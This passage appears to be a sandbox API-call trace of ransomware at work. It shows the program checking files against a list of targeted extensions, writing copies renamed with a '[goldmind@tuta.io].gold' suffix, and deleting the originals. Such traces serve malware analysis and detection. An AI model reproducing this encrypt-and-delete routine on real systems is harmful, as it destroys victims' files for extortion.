(lpString1=".1cd", lpString2=".WMF") returned -1 [0053.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0053.344] lstrlenW (lpString=".jpg") returned 4 [0053.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0053.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0053.344] lstrlenW (lpString=".doc") returned 4 [0053.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.345] lstrlenW (lpString=".docx") returned 5 [0053.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.345] lstrlenW (lpString=".pdf") returned 4 [0053.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.345] lstrlenW (lpString=".xls") returned 4 [0053.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.345] lstrlenW (lpString=".xlsx") returned 5 [0053.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.345] lstrlenW (lpString=".ppt") returned 4 [0053.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0053.345] lstrlenW (lpString=".zip") returned 4 [0053.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.345] lstrlenW (lpString=".rar") returned 4 [0053.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.345] lstrlenW (lpString=".bz2") returned 4 [0053.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.345] lstrlenW (lpString=".7z") returned 3 [0053.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0053.345] lstrlenW (lpString=".dbf") returned 4 [0053.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0053.345] lstrlenW (lpString=".1cd") returned 4 [0053.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0053.345] lstrlenW (lpString=".jpg") returned 4 [0053.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.345] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.345] lstrlenW (lpString="BL00265_.WMF") returned 12 [0053.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.346] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=5752) returned 1 [0053.346] CloseHandle (hObject=0x208) returned 1 [0053.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x20 [0053.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.346] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.346] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0053.347] GetLastError () returned 0x0 [0053.347] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x1678, lpOverlapped=0x0) returned 1 [0053.348] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x1680, lpOverlapped=0x0) returned 1 [0053.349] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.349] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.349] SetEndOfFile (hFile=0x1a0) returned 1 [0053.349] CloseHandle (hObject=0x1a0) returned 1 [0053.349] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.349] SetEndOfFile (hFile=0x208) returned 1 [0053.350] CloseHandle (hObject=0x208) returned 1 [0053.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0053.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0053.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0053.350] lstrlenW (lpString=".doc") returned 4 [0053.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.350] lstrlenW (lpString=".docx") returned 5 [0053.350] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.350] lstrlenW (lpString=".pdf") returned 4 [0053.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.350] lstrlenW (lpString=".xls") returned 4 [0053.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.350] lstrlenW (lpString=".xlsx") returned 5 [0053.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.350] lstrlenW (lpString=".ppt") returned 4 [0053.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0053.350] lstrlenW (lpString=".zip") returned 4 [0053.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.350] lstrlenW (lpString=".rar") returned 4 [0053.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.351] lstrlenW (lpString=".bz2") returned 4 [0053.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.351] lstrlenW (lpString=".7z") returned 3 [0053.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0053.351] lstrlenW (lpString=".dbf") returned 4 [0053.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0053.351] lstrlenW (lpString=".1cd") returned 4 [0053.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0053.351] lstrlenW (lpString=".jpg") returned 4 [0053.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0053.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0053.351] lstrlenW (lpString=".doc") returned 4 [0053.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.351] lstrlenW (lpString=".docx") returned 5 [0053.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.351] lstrlenW (lpString=".pdf") returned 4 [0053.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.351] lstrlenW (lpString=".xls") returned 4 [0053.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.351] lstrlenW (lpString=".xlsx") returned 5 [0053.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.351] lstrlenW (lpString=".ppt") returned 4 [0053.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0053.351] lstrlenW (lpString=".zip") returned 4 [0053.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.351] lstrlenW (lpString=".rar") returned 4 [0053.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.351] lstrlenW (lpString=".bz2") returned 4 [0053.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.351] lstrlenW (lpString=".7z") returned 3 [0053.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0053.351] lstrlenW (lpString=".dbf") returned 4 [0053.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0053.351] lstrlenW (lpString=".1cd") returned 4 [0053.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0053.351] lstrlenW (lpString=".jpg") returned 4 [0053.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.351] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.351] lstrlenW (lpString="BL00267_.WMF") returned 12 [0053.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.352] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2644) returned 1 [0053.352] CloseHandle (hObject=0x208) returned 1 [0053.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20 [0053.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.352] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.352] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0053.353] GetLastError () returned 0x0 [0053.353] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xa54, lpOverlapped=0x0) returned 1 [0053.466] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xa60, lpOverlapped=0x0) returned 1 [0053.881] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.881] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.881] SetEndOfFile (hFile=0x1a0) returned 1 [0053.881] CloseHandle (hObject=0x1a0) returned 1 [0053.881] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.881] SetEndOfFile (hFile=0x208) returned 1 [0053.882] CloseHandle (hObject=0x208) returned 1 [0053.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0053.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0053.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0053.882] lstrlenW (lpString=".doc") returned 4 [0053.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.882] lstrlenW (lpString=".docx") returned 5 [0053.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.882] lstrlenW (lpString=".pdf") returned 4 [0053.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.882] lstrlenW (lpString=".xls") returned 4 [0053.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.882] lstrlenW (lpString=".xlsx") returned 5 [0053.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.882] lstrlenW (lpString=".ppt") returned 4 [0053.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0053.883] lstrlenW (lpString=".zip") returned 4 [0053.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.883] lstrlenW (lpString=".rar") returned 4 [0053.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.883] lstrlenW (lpString=".bz2") returned 4 [0053.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.883] lstrlenW (lpString=".7z") returned 3 [0053.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0053.883] lstrlenW (lpString=".dbf") returned 4 [0053.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0053.883] lstrlenW (lpString=".1cd") returned 4 [0053.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0053.883] lstrlenW (lpString=".jpg") returned 4 [0053.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0053.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0053.883] lstrlenW (lpString=".doc") returned 4 [0053.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.883] lstrlenW (lpString=".docx") returned 5 [0053.883] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.883] lstrlenW (lpString=".pdf") returned 4 [0053.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.883] lstrlenW (lpString=".xls") returned 4 [0053.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.883] lstrlenW (lpString=".xlsx") returned 5 [0053.883] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.883] lstrlenW (lpString=".ppt") returned 4 [0053.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0053.883] lstrlenW (lpString=".zip") returned 4 [0053.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.883] lstrlenW (lpString=".rar") returned 4 [0053.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.883] lstrlenW (lpString=".bz2") returned 4 [0053.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.883] lstrlenW (lpString=".7z") returned 3 [0053.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0053.883] lstrlenW (lpString=".dbf") returned 4 [0053.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0053.883] lstrlenW (lpString=".1cd") returned 4 [0053.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0053.883] lstrlenW (lpString=".jpg") returned 4 [0053.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.884] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.884] lstrlenW (lpString="BS00078_.WMF") returned 12 [0053.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.071] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1444) returned 1 [0055.072] CloseHandle (hObject=0x218) returned 1 [0055.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20 [0055.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.072] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.072] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.073] GetLastError () returned 0x0 [0055.073] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x5a4, lpOverlapped=0x0) returned 1 [0055.074] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0055.075] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.075] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.075] SetEndOfFile (hFile=0x200) returned 1 [0055.075] CloseHandle (hObject=0x200) returned 1 [0055.075] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.075] SetEndOfFile (hFile=0x218) returned 1 [0055.076] CloseHandle (hObject=0x218) returned 1 [0055.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0055.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0055.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0055.076] lstrlenW (lpString=".doc") returned 4 [0055.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.076] lstrlenW (lpString=".docx") returned 5 [0055.076] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.076] lstrlenW (lpString=".pdf") returned 4 [0055.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.076] lstrlenW (lpString=".xls") returned 4 [0055.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.076] lstrlenW (lpString=".xlsx") returned 5 [0055.076] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.076] lstrlenW (lpString=".ppt") returned 4 [0055.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0055.076] lstrlenW (lpString=".zip") returned 4 [0055.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.077] lstrlenW (lpString=".rar") returned 4 [0055.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.077] lstrlenW (lpString=".bz2") returned 4 [0055.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.077] lstrlenW (lpString=".7z") returned 3 [0055.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0055.077] lstrlenW (lpString=".dbf") returned 4 [0055.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0055.077] lstrlenW (lpString=".1cd") returned 4 [0055.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0055.077] lstrlenW (lpString=".jpg") returned 4 [0055.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0055.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0055.077] lstrlenW (lpString=".doc") returned 4 [0055.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.077] lstrlenW (lpString=".docx") returned 5 [0055.077] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.077] lstrlenW (lpString=".pdf") returned 